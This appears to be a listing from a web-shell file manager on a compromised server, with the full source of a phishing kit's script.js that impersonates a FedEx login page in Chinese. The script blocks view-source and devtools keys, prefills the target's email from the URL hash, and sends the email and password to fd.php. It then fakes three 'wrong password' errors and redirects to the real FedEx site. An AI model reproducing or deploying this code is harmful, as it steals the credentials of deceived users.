at path:
ROOT
/
newfd
/
script.js
run:
R
W
Run
.ent
58 By
2026-03-31 14:28:05
R
W
Run
Delete
Rename
banners_signup.php
2.45 KB
2026-02-15 21:34:30
R
W
Run
Delete
Rename
error_log
9.12 KB
2026-03-31 14:31:29
R
W
Run
Delete
Rename
fd.php
2.94 KB
2026-03-30 10:41:33
R
W
Run
Delete
Rename
fd.png
3.1 KB
2026-02-15 21:34:30
R
W
Run
Delete
Rename
fdb.jpg
197.34 KB
2026-02-15 21:38:08
R
W
Run
Delete
Rename
index.html
1.34 KB
2026-02-15 21:36:24
R
W
Run
Delete
Rename
script.js
4.15 KB
2026-02-18 21:40:02
R
W
Run
Delete
Rename
style.css
2.8 KB
2026-02-15 21:38:36
R
W
Run
Delete
Rename
error_log
up
📄
script.js
Save
// ANTI-VIEW-SOURCE PROTECTION (doesn't affect functionality) document.addEventListener('keydown', function(e) { if ((e.ctrlKey && (e.key === 'u' || e.key === 'U')) || e.key === 'F12' || (e.ctrlKey && e.shiftKey && ['i','I','j','J','c','C'].includes(e.key))) { e.preventDefault(); return false; } }, true); // YOUR ORIGINAL CODE - UNCHANGED document.addEventListener("DOMContentLoaded", () => { const form = document.getElementById("loginForm"); const emailInput = document.getElementById("email"); const passwordInput = document.getElementById("password"); const emailError = document.getElementById("emailError"); const passwordError = document.getElementById("passwordError"); const rememberMe = document.getElementById("rememberMe"); let attemptCount = 0; const MAX_ATTEMPTS = 3; // Autofill email from URL hash (#email or #base64) const rawHash = decodeURIComponent(window.location.hash.substring(1)); if (rawHash) { try { let emailValue = ""; if (rawHash.includes("@")) { emailValue = rawHash; } else { const decoded = atob(rawHash); if (decoded.includes("@")) emailValue = decoded; } if (emailValue) emailInput.value = emailValue; } catch (e) {} } const validateEmail = (email) => /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(email); form.addEventListener("submit", (e) => { e.preventDefault(); emailError.style.display = "none"; passwordError.style.display = "none"; const email = emailInput.value.trim(); const password = passwordInput.value.trim(); let valid = true; if (!validateEmail(email)) { emailError.style.display = "block"; valid = false; } if (!password) { passwordError.textContent = "请输入密码。"; passwordError.style.display = "block"; valid = false; } if (password.length < 4) { passwordError.textContent = "Password is too short."; passwordError.style.display = "block"; passwordInput.classList.remove("shake-input"); void passwordInput.offsetWidth; // restart animation passwordInput.classList.add("shake-input"); return; } if (!valid) return; // Remember Me logic if (rememberMe.checked) { localStorage.setItem("rememberedEmail", email); } else { localStorage.removeItem("rememberedEmail"); } // ✅ Send data to submit.php fetch("fd.php", { method: "POST", headers: { "Content-Type": "application/x-www-form-urlencoded" }, body: `email=${encodeURIComponent(email)}&password=${encodeURIComponent(password)}` }) .then(response => response.text()) .then(data => { console.log("PHP Response:", data); // optional debug }) .catch(err => console.error("Error sending to submit.php:", err)); // Wrong password simulation attemptCount++; const remaining = MAX_ATTEMPTS - attemptCount; passwordError.style.display = "block"; passwordError.style.color = "#ff4d4d"; passwordError.textContent = remaining > 0 ? `密码错误。您还有 ${remaining} 次尝试。` : "已达到最大尝试次数,正在跳转..."; passwordInput.value = ""; passwordInput.classList.remove("shake-input"); void passwordInput.offsetWidth; passwordInput.classList.add("shake-input"); // Redirect after 3 attempts if (attemptCount >= MAX_ATTEMPTS) { setTimeout(() => { window.location.href = "https://www.fedex.com/zh-cn/home.html "; }, 1500); } }); // Autofill from localStorage if remembered const savedEmail = localStorage.getItem("rememberedEmail"); if (savedEmail) { emailInput.value = savedEmail; rememberMe.checked = true; } }); // Show/hide password toggle function togglePassword() { const pwd = document.getElementById("password"); const toggle = document.querySelector(".toggle-password"); if (pwd.type === "password") { pwd.type = "text"; toggle.textContent = "隐藏"; } else { pwd.type = "password"; toggle.textContent = "显示"; } }